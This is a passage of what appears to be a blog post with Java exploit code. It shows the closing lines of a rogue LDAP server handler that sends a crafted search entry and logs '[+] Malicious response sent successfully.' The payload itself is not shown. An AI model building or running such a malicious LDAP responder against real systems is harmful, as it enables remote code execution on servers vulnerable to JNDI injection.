                result.sendSearchEntry(e);  
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
                System.out.println("[+] Malicious response sent successfully.");  
  
            } catch (Exception e) {  
                System.err.println("[!] Error sending response: " + e.getMessage());  
                e.printStackTrace();  
            }  
        }  
    }  
}

评论